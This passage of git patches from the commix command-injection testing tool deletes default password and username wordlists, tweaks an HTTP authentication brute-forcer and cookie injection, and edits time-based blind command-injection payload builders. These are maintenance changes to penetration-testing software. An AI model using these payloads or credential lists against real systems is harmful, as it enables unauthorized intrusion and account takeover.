-sunbird -sundance -superfly -suzanne -suzuki -swimmer -swimming -system -taffy -tarzan -tbird -teddy -teddybear -teflon -temporal -terminal -terry -the -theatre -thejudge -thunder -thursday -time -tinker -toby -today -tokyo -tootsie -tornado -tracy -tree -tricia -trident -trojan -trout -truman -trumpet -tucker -turtle -tyler -utopia -vader -val -valhalla -visa -voyager -warcraft -warlock -warren -water -wayne -wendy -williams -willy -win95 -windsurf -winona -wolf -wolf1 -woody -woofwoof -wrangler -wright -www -xcountry -xfiles -xxxxxx -y -yankees -yoda -yukon -yvonne -zebra -zenith -zigzag -zombie -zxc123 -zxcvb -zzz -000000 -007007 -11111 -11111111 -1213 -1214 -1225 -123321 -1313 -1316 -1332 -1412 -1430 -171717 -1818 -181818 -1950 -1952 -1953 -1955 -1956 -1960 -1964 -1975 -1977 -1991 -1a2b3c -1chris -1kitty -1qw23e -2001 -2020 -2112 -22 -2200 -2252 -2kids -3010 -3112 -3141 -333 -3533 -4055 -4444 -4788 -4854 -4runner -5050 -5121 -54321 -55555 -57chevy -6262 -6301 -6969 -7777777 -789456 -7dwarfs -88888888 -Abcdefg -Alexis -Alpha -Animals -Ariel -BOSS -Bailey -Bastard -Beavis -Bismillah -Bonzo -Booboo -Boston -Canucks -Cardinal -Carol -Celtics -ChangeMe -Charlie -Chris -Computer -Cougar -Creative -Curtis -Daniel -Darkman -Denise -Dragon -Eagles -Elizabeth -Esther -Figaro -Fishing -Fortune -Freddy -Front242 -Gandalf -Geronimo -Gingers -Golden -Goober -Gretel -HARLEY -Hacker -Hammer -Harley -Heather -Henry -Hershey -Homer -Jackson -Janet -Jennifer -Jersey -Jessica -Joanna -Johnson -Jordan -KILLER -Katie -Kitten -Liberty -Lindsay -Lizard -Madeline -Margaret -Maxwell -Mellon -Merlot -Metallic -Michel1 -Money -Monster -Montreal -Newton -Nicholas -Noriko -Paladin -Pamela -Password -Peaches -Peanuts -Peter -Phoenix -Piglet -Pookie -Princess -Purple -Rabbit -Raiders -Random -Rebecca -Robert -Russell -Sammy -Saturn -Service -Shadow -Sidekick -Skeeter -Smokey -Sparky -Speedy -Sterling -Steven -Summer -Sunshine -Superman -Sverige -Swoosh -Taylor -Theresa -Thomas -Thunder -Vernon -Victoria -Vincent -Waterloo -Webster -Willow -Winnie -Wolverine -Woodrow -World -aa -aaaa -aardvark -abbott -abcd123 -abcde -accord -active -acura -adg -admin -admin1 -adrock -aerobics -africa -agent -airborne -airwolf -aki123 -alfaro -ali -alicia -alien -aliens -alina -aline -alison -allegro -allen -allstate -aloha -alpha1 -altamira -althea -altima -altima1 -amanda1 -amazing -america -amour -anderson -andre -andrew! -andrew1 -andromed -angels -angie1 -ann -anne -anneli -annie -anything -apple1 -apple2 -applepie -april -aptiva -aqua -aquarius -ariane -ariel -arlene -arrow -artemis -asdf1234 -asdf;lkj -asdfjkl -ashley1 -ashraf -ashton -assmunch -asterix -attila -autumn -avatar -ayelet -aylmer -babes -bambi -baraka -barbie -barn -barney1 -barnyard -barrett -bart -bartman -bball -beaches -beanie -beans -beasty -beauty -beavis1 -bebe -becca -belgium -belize -belle -belmont -benji -benson -beowulf -bernardo -berry -beryl -best -beta -betacam -betsy -betty -bharat -bichon -bigal -bigboss -bigred -biker -bilbo -bills -billy1 -bimmer -bioboy -biochem -birdie -birdy -birthday -biscuit -bitter -biz -blackjack -blah -blanche -blinds -blitz -blood -blowjob -blowme -blueeyes -bluejean -blues -boat -bogart -bogey -bogus -bombay -boobie -boots -bootsie -boulder -bourbon -boxer -boxers -bozo -brain -branch -brandi -brent -brewster -bridge -britain -broker -bronco -bronte -brooke -brother -bryan -bubble -bucks -buddha -budgie -buffett -bugs -bulls -burns -burton -butterfly -buzz -byron -c00per -calendar -calgary -calvin1 -camay -camel -camille -campbell -camping -cancer -canela -cannon -car -carbon -carl -carnage -carolyn -carrot -cascade -cat -catfish -cathy -catwoman -cecile -celica -cement -cessna -chad -chainsaw -chameleon -chang -change -chantal -charger -chat -cherry -chess -chiara -chiefs -china -chinacat -chinook -chouette -chris123 -christ1 -christmas -christopher -chronos -chuck -cicero -cindy1 -cinema -circuit -cirque -cirrus -civic -clapton -clarkson -class -claude -claudel -cleo -cliff -clock -clueless -cobain -cobra -cody -colette -college -color -colors -colt45 -comet -concept -concorde -confused -cool -coolbean -cora -corky -cornflake -corvette -corwin -cosmo -country -courier -cows -crescent -cross -crowley -crusader -cthulhu -cuda -cunningham -cunt -cupcake -current -cutlass -cynthia -daedalus -dagger -dagger1 -daily -dale -dammit -damogran -dana -dancer -daphne -darkstar -darren -darryl -darwin -data1 -datatrain -daytek -dead -deborah -december -decker -deedee -deeznuts -def -delano -delete -demon -denise -denny -desert -deskjet -detroit -devil -devine -devon -dexter -dharma -dianne -diesel -dillweed -dim -dipper -director -disco -dixie -dixon -doc -dodgers -dogbert -doggy -doitnow -dollar -dolly -dominique -domino -dontknow -doogie -doors -dork -doudou -doug -downtown -dragon1 -driver -dude -dudley -dutch -dutchess -dwight -eagle1 -easter -eastern -edith -edmund -effie -eieio -eight -element -elina1 -elissa -ella -ellen -elliot -elsie -empire -engage -enigma -enterprise -eric1 -erin -ernie1 -escort -escort1 -estelle -eugene -evelyn -excel -explore -eyal -faculty -fairview -family1 -fatboy -faust -felipe -fenris -ferguson -ferret -ferris -finance -fireball -first -fishes -fishhead -fishie -flanders -fleurs -flight -florida1 -flowerpot -flute -fly -flyboy -flyer -forward -franka -freddie -frederic -free -freebird -freeman -frisco -fritz -froggie -froggies -frogs -front242 -frontier -fucku -fugazi -funguy -funtime -future -fuzz -gabby -gaby -gaelic -gambler -games -gammaphi -garcia -garfunkel -garth -gary -gaston -gateway -gateway2 -gator1 -george1 -georgia -german -germany1 -getout -ggeorge -ghost -gibbons -gibson -gigi -gilgamesh -giselle -glider1 -gmoney -goat -goblin -goblue -godiva -goethe -gofish -gollum -gone -good -gramps -grandma -gravis -gray -greed -greg -greg1 -gremlin -greta -gretzky -grizzly -grumpy -guess -guido -guitar1 -gumby -gustavo -h2opolo -haggis -haha -hailey -hal -halloween -hallowell -hamid -hamilton -hamlet -hank -hanna -hanson -happy123 -happyday -hardcore -harley1 -haro -harriet -harris -harvard -hawk -hawkeye1 -health -health1 -heart -heather1 -heather2 -hedgehog -heikki -helene -hello1 -hello123 -hello8 -hellohello -help123 -helper -hermes -heythere -highland -hilda -hillary -histoire -history -hitler -hobbes -holiday -holly -homerj -honda1 -hongkong -hoosier -hootie -hope -horse -hosehead -hotrod -huang -hudson -hugh -hugo -hummer -huskies -hydrogen -i -ib6ub9 -idiot -if6was9 -iforget -ilmari -iloveu -impact -indonesia -ingvar -insight -instruct -integral -iomega -irina -iris -irmeli -isabelle -israel -italia -italy -izzy -j0ker -j1l2t3 -jackie1 -jacob -jakey -james1 -jamesbond -jamie -jamjam -jan -jazz -jean -jedi -jeepster -jeffrey1 -jennie -jenny -jensen -jer -jesse -jesse1 -jester -jethro -jetta1 -jimbob -jimi -jimmy -joanie -joanna -joelle -john316 -jordie -jorge -josee -josh -journey -joy -joyce -jubilee -juhani -jules -julia2 -julien -juliet -jumbo -jump -junebug -juniper -justdoit -justice4 -kalamazo -kali -karin -karine -karma -kat -kate -katerina -katie -katie1 -kayla -kcin -keeper -keller -kendall -kenny -kerala -kerrya -ketchup -khan -kids -kings -kissa2 -kissme -kitten -kittycat -kiwi -kkkkkk -kleenex -kombat -kristi -kristine -lab1 -labtec -laddie -ladybug -lamer -lance -laser -laserjet -lassie1 -laurel -lawson -leader -leaf -leblanc -legal -leland -lemon -leo -lester -letter -letters -lev -lexus1 -libra -life -lights -lima -lionel -lions -lissabon -little -liz -lizzy -logger -logos -loislane -loki -lolita -lonestar -longer -longhorn -looney -loren -lori -lorna -loser -lost -lotus -lou -lovers -loveyou -lucia -lucifer -lucky14 -macha -macross -macse30 -maddie -madmax -madoka -magic1 -magnum -maiden -maine -makeitso -mallard -manageme -manson -manuel -marc -marcus -maria -marielle -marine -marino -marshall -mart -martha -math -matti1 -mattingly -maxmax -meatloaf -mech -mechanic -medical -megan -meister -melina -memphis -mercer -merde -mermaid -merrill -miami -michal -michel -michigan -michou -mickel -mickey1 -microsoft -midvale -mikael -milano -miles -millenium -million -minou -miranda -miriam -mission -mmmmmm -mobile -mobydick -modem -mojo -monkey1 -monroe -montana -montana3 -montrose -monty -moomoo -moonbeam -morecats -morpheus -motor -motorola -movies -mowgli -mozart -mulder1 -munchkin -murray -muscle -mustang1 -nadia -nadine -napoleon -nation -national -neil -neko -nesbit -nestle -neutrino -newaccount -newlife -newyork1 -nexus6 -nichole -nicklaus -nightshadow -nightwind -nike -nikita -nikki -nintendo -nisse -nokia -nomore -none1 -nopass -normal -norton -notta1 -nouveau -novell -noway -nugget -number9 -numbers -nurse -nutmeg -oaxaca -obiwan -obsession -ohshit -oicu812 -omega -openup -orchid -oreo -orlando -orville -otter -ozzy -paagal -packard -packers -packrat -paint -paloma -pam -pancake -panic -papa -paradigm -park -parola -parrot -partner -pascal -pass -patches -patriots -paula -pauline -pavel -payton -peach -peanuts -pedro1 -peggy -pekka -perfect -performa -perry -peterk -peterpan -phialpha -philips -phillips -phishy -phone -piano1 -pianoman -pianos -pierce -pigeon -pink -pioneer -pipeline -piper1 -pirate -pisces -plato -play -playboy -pluto -poetic -poetry -pole -pontiac -pookey -pope -popeye -prayer -precious -prelude -premier -print -printing -prof -provider -puddin -pulsar -pussy -pussy1 -pyro -qqq111 -quebec -qwer -qwert -qwerty12 -qwertyui -r0ger -rabbit1 -racer -racerx -rachelle -racoon -radar -rafiki -raleigh -ram -rambo -randy1 -rasta1 -ratio -ravens -redcloud -redfish -redman -redskins -redwing -redwood -reed -reggae -reggie -reliant -rene -renee -renegade -rescue -revolution -rex -reznor -rhino -rhjrjlbk -richard1 -richards -richmond -riley -ripper -ripple -rita -robby -roberts -robocop -robotics -roche -rock -rocket1 -rockie -rockon -roger1 -rogers -roland -rommel -roni -rookie -rootbeer -rosie -rossigno -rufus -rugger -rush -rusty -ruthless -sabbath -sabina -safety -safety1 -saigon -saint -samIam -samiam -sammie -sammy -samsam -sandi -sanjose -saphire -sarah1 -saskia -sassy -satori -saturday -saturn5 -schnapps -science -scooby -scoobydoo -scooter1 -scorpion -scotch -scotty -scouts -scuba -search -secret3 -seeker -seoul -september -server -services -seven7 -sex -sexy -shaggy -shanghai -shanny -shaolin -shasta -shayne -shazam -shelly -shelter -sherry -ship -shirley -shorty -shotgun -sidney -sigmachi -signal -signature -simba1 -simsim -sinatra -sirius -skate -skip -skipper1 -skydive -skyler -slayer -sleepy -slick -slider -slip -smegma -smile1 -smiths -smitty -smoke -smurfy -snakes -snapper -snoop -snow -sober1 -solomon -sonics -sony -sophia -space -sparks -spartan -spazz -sphynx -spike1 -spock -sponge -spoon -spot -sprocket -spurs -squash -stan -starbuck -stargate -starlight -stars -steel -steph1 -stephi -steve1 -stevens -stewart -sting -stivers -stocks -stone -storage -stranger -strat -strato -stretch -strong -stud -student2 -studio -stumpy -sucker -suckme -sue -sultan -summit -sunfire -sunset -super -superstar -surfing -susan1 -susanna -sutton -suzy -swanson -sweden -sweetpea -sweety -swim -switzer -swordfish -system5 -t-bone -tab -tabatha -tacobell -taiwan -talon -tamtam -tanner -tapani -targas -target -tarheel -tasha -tata -tattoo -tazdevil -tequila -terry1 -test2 -test3 -tester -testi -testtest -texas -thankyou -theend -thelorax -thisisit -thompson -thorne -thrasher -tiger2 -tightend -tika -tim -timber -timothy -tinkerbell -tnt -tom -tool -topcat -topher -toshiba -total -toto1 -tototo -toucan -transfer -transit -transport -trapper -trash -travis -tre -treasure -trees -tricky -trish -triton -trombone -trophy -trouble -trucker -tucson -tula -turbo -turbo2 -twins -tyler1 -ultimate -unique -united -unity -unix -upsilon -ursula -user1 -vacation -valley -vampire -vanessa -vedder -velo -venice -venus -vermont -vette -vicki -vicky -victor1 -vikram -vincent1 -violet -violin -virago -virgil -virginia -vision -visual -volcano -volley -voodoo -vortex -waiting -walden -waldo -walleye -wanker -warner -water1 -wayne1 -webmaster -webster -wedge -weezer -wendy1 -western -whale1 -whit -white -whitney -whocares -whoville -wibble -wildcat -will -william1 -wilma -wind -window -winniethepooh -wolfgang -wolverine -wombat1 -wonder -word -world -x-files -x-men -xanth -xxx123 -xxxxxxxx -xyz -yamaha -yankee -yogibear -yolanda -yomama -yvette -zachary -zack -zebras -zepplin -zoltan -zoomer -zxc -zxcvbn -!@#$%^& -00000000 -121212 -1234qwer -123go -131313 -13579 -1701d -21122112 -369 -5555 -80486 -90210 -911 -99999999 -@#$%^& -ABC123 -Abcdef -Asdfgh -Casio -Changeme -FuckYou -Fuckyou -Gizmo -Hello -JSBach -Michel -NCC1701 -PPP -Qwert -Qwerty -Windows -Zxcvb -Zxcvbnm -action -advil -allo -amelie -anaconda -angus -apollo13 -artist -aspen -ass -asshole -ath -benoit -bernard -bernie -bigbird -bird -blizzard -bluesky -bonjour -booster -byteme -caesar -cardinal -carolina -cats -cedic -cesar -chandler -changeit -chapman -charlie1 -chevy -chiquita -chocolat -christia -christoph -classroom -cloclo -coco -corrado -cougars -courtney -dasha -demo -dirk -dolphins -dominic -donkey -doom2 -dusty -e -energy -fearless -fiction -forest -french1 -fubar -gator -gilles -glenn -go -gocougs -good-luck -graymail -guinness -hilbert -hola -home -homebrew -hotdog -indian -jared -jimbo -jkm -johnson -jojo -josie -judy -koko -kristin -lloyd -lorraine -lulu -lynn -m1911a1 -mac -macintosh -mailer -mars -maxime -memory -meow -mimi -mirror -nat -ne1410s -ne1469 -ne14a69 -nebraska -nemesis -network -newcourt -nigel -niki -nite -notused -oatmeal -patton -paul -pedro -planet -players -politics -pomme -portland -praise -property -protel -psalms -qwaszx -raiders -rambo1 -rancid -ruth -sales -salut -scrooge -shawn -shelley -skidoo -softball -spain -speedo -sports -sss -ssssss -steele -steph -stephani -sunday -surf -sylvie -symbol -tiffany -tigre -toronto -trixie -undead -valentin -velvet -viking -walker -watson -young -zhongguo \ No newline at end of file diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt deleted file mode 100644 index 05f46a5a39..0000000000 --- a/src/txt/usernames.txt +++ /dev/null @@ -1,125 +0,0 @@ -111111 -123456 -12345678 -abc123 -abramov -account -accounting -ad -adm -admin -administrator -adver -advert -advertising -afanasev -agafonov -agata -aksenov -aleksander -aleksandrov -alekse -alenka -alexe -alexeev -alla -anatol -andre -andreev -andrey -anna -anya -ao -aozt -arhipov -art -avdeev -avto -bank -baranov -Baseball -belousov -bill -billing -blinov -bobrov -bogdanov -buh -buhg -buhgalter -buhgalteria -business -bux -catchthismail -company -contact -contactus -corp -design -dir -director -direktor -dragon -economist -edu -email -er -expert -export -fabrika -fin -finance -ftp -glavbuh -glavbux -glbuh -helloitmenice -help -holding -home -hr -iamjustsendingthisleter -info -ingthisleter -job -john -kadry -letmein -mail -manager -marketing -marketing -mike -mogggnomgon -monkey -moscow -mysql -maint -office -ok -oracle -password -personal -petgord34truew -post -postmaster -pr -qwerty -rbury -reklama -root -r00t -sale -sales -secretar -sekretar -support -test -testing -thisisjusttestletter -trade -uploader -user -webmaster -wwwadmin -www-data \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index d02b314ecd..32dc8e94b2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -86,7 +86,7 @@ class HTTPMETHOD(object): ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT -CHECK_SIGN = DEBUG_SIGN + "Checking pair of HTTP authentication credentials: " +CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of HTTP authentication credentials: " OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ @@ -190,7 +190,7 @@ def print_http_response_content(content): # Print checking message (verbose mode) def print_checking_msg(payload): - result = CHECK_SIGN + str(payload) + Style.RESET_ALL + result = print_time() + CHECK_SIGN + str(payload) + Style.RESET_ALL return result # Print question message @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "83" +REVISION = "84" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1055,8 +1055,8 @@ class INJECTION_TECHNIQUE(object): RETEST = False # Define the default credentials files -USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "usernames.txt" -PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "passwords_john.txt" +USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" +PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt" REQUIRED_AUTHENTICATION = False From bfe73ad528d6acebe9cde2c8d0ec685b8f99baae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Jul 2024 08:22:08 +0300 Subject: [PATCH 0481/1023] Minor update --- src/core/injections/controller/controller.py | 25 ++++++++++---------- src/core/requests/authentication.py | 7 +++--- src/utils/settings.py | 4 ++-- 3 files changed, 17 insertions(+), 19 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index fff76ed528..325abdf4b1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -535,20 +535,19 @@ def define_check_parameter(found, i, url): """ def cookie_injection(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = True + # Cookie Injection cookie_value = menu.options.cookie - if cookie_value: - settings.COOKIE_INJECTION = True - # Cookie Injection - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION: # Restore cookie value diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index f66c4d158a..2336a18190 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -158,8 +158,7 @@ def http_auth_cracker(url, realm, http_request_method): if settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.print_checking_msg(payload)) else: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) - + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * len(payload)) try: # Basic authentication if authentication_type.lower() == settings.AUTH_TYPE.BASIC: @@ -196,7 +195,7 @@ def http_auth_cracker(url, realm, http_request_method): i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for valid pair of HTTP authentication credentials." + info_msg = "Checking for a valid pair of HTTP authentication credentials." info_msg += float_percent settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) @@ -204,7 +203,7 @@ def http_auth_cracker(url, realm, http_request_method): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified valid pair of HTTP authentication credentials: '" + info_msg = "Identified a valid pair of HTTP authentication credentials: '" info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/utils/settings.py b/src/utils/settings.py index 32dc8e94b2..c70bdb6e2d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "84" +REVISION = "85" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1361,4 +1361,4 @@ class END_LINE: USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" -# eof \ No newline at end of file +# eof From c31836eba1fcf10c132ca6a682f69ffb56399a8d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 9 Jul 2024 07:17:54 +0300 Subject: [PATCH 0482/1023] Minor update regarding specific payloads --- .../techniques/time_based/tb_payloads.py | 79 ++++++++++++------- .../techniques/classic/cb_payloads.py | 43 +++++++--- .../techniques/tempfile_based/tfb_payloads.py | 74 +++++++++++------ src/utils/settings.py | 2 +- 4 files changed, 130 insertions(+), 68 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index c866b1d341..1c1cb5926d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -52,7 +52,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + "fi" + + separator ) @@ -65,7 +66,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): # Find the length of the output. "str1=$(expr length \"$str\")" + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -74,7 +76,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (pipe + "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -94,7 +97,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) elif separator == "&&" : @@ -105,7 +107,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) else: if separator == ";" or separator == "%0a": @@ -115,7 +116,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "if [ " + str(output_length) + " -ne ${str1} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -126,7 +128,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -136,7 +139,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me payload = (pipe + # Find the length of the output, using readline(). "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -187,7 +191,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "if [ " + str(output_length) + " -ne $str1 ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -200,7 +205,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "str1=$(expr length $str)" + separator + #"str1=${%23str} " + separator + "[ " + str(output_length) + " -eq $str1 ]" + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -210,7 +216,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): payload = (pipe + "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -229,8 +236,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) + elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -239,7 +246,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) else: if separator == ";" or separator == "%0a": @@ -249,7 +255,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "if [ " + str(output_length) + " -ne ${str1} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi " + + separator ) elif separator == "&&" : @@ -260,7 +267,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) separator = _urllib.parse.unquote(separator) @@ -270,7 +278,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque payload = (pipe + # Find the length of the output, using readline(). "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -321,7 +330,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi " + + separator ) elif separator == "&&" : @@ -337,7 +347,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -348,7 +359,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -368,7 +380,6 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http 